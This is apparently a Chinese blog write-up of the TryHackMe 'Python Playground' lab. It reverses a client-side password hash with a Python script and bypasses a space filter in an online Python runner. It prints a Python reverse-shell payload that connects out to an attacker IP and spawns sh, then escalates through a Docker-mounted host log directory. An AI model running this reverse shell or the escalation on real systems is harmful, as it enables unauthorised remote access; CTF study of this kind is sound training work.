扫描打点
80
扫一下,
signup
和login
都关了,剩一个admin.html
的登录入口有交互这里用burp抓包的话发现没有提交登录的数据包,即登录数据在本地处理了
检查源码找到
js
代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49<script>
// I suck at server side code, luckily I know how to make things secure without it - Connor
function string_to_int_array(str){
const intArr = [];
for(let i=0;i<str.length;i++){
const charcode = str.charCodeAt(i);
const partA = Math.floor(charcode / 26);
const partB = charcode % 26;
intArr.push(partA);
intArr.push(partB);
}
return intArr;
}
function int_array_to_text(int_array){
let txt = '';
for(let i=0;i<int_array.length;i++){
txt += String.fromCharCode(97 + int_array[i]);
}
return txt;
}
document.forms[0].onsubmit = function (e){
e.preventDefault();
if(document.getElementById('username').value !== 'connor'){
document.getElementById('fail').style.display = '';
return false;
}
const chosenPass = document.getElementById('inputPassword').value;
const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(chosenPass))));
if(hash === 'dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu'){
window.location = 'super-secret-admin-testing-panel.html';
}else {
document.getElementById('fail').style.display = '';
}
return false;
}
</script>从中拿到用户名和哈希
connor:dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu
,以及网址super-secret-admin-testing-panel.html
但其实这个值可以轻松逆向得到:
1
2
3
4
5
6
7
8
9
10
11
12
13
14encrypted_text = "dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu"
def text_to_int_array(text):
return [ord(c) - 97 for c in text]
def int_array_to_string(int_arr):
return ''.join(chr(int_arr[i] * 26 + int_arr[i + 1]) for i in range(0, len(int_arr), 2))
encrypted_ints = text_to_int_array(encrypted_text)
temp_text = int_array_to_string(encrypted_ints)
temp_ints = text_to_int_array(temp_text)
password = int_array_to_string(temp_ints)
print("Recovered password:", password)spaghetti1245
进去后发现是个在线执行
py
的环境看了下源码,允许
tab
键使用:实验发现空格会被检测,可以用
tab
绕过1
2
3
4
5
6import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.218.177",445));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
import pty;
pty.spawn("sh")
失败的
docker
逃逸与ssh
进去后发现是
root
,且没有其他用户,看了下那就是要docker逃逸了但问题是很多关键词都不能用,还下不到东西
返回来看之前拿到的用户名和密码,
ssh
连上去利用
docker
内的主机日志目录提权这里这个提权没见过:
在
docker
中mount
看到在主机中发现确实有这几个文件
验证一下,在
docker
中/mnt/log
新建一个独特的文件即主机的
/var/log
就在docker中的/mnt/log
而又因为docker是root,即可以将主机的
bash
复制过去,用docker
提权,再用connor
运行即可,大概过程长这样:
THM打靶日寄64-Python Playground
- 本文链接: http://noone40404.github.io/2025/02/20/THM打靶日寄64:Python Playground/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!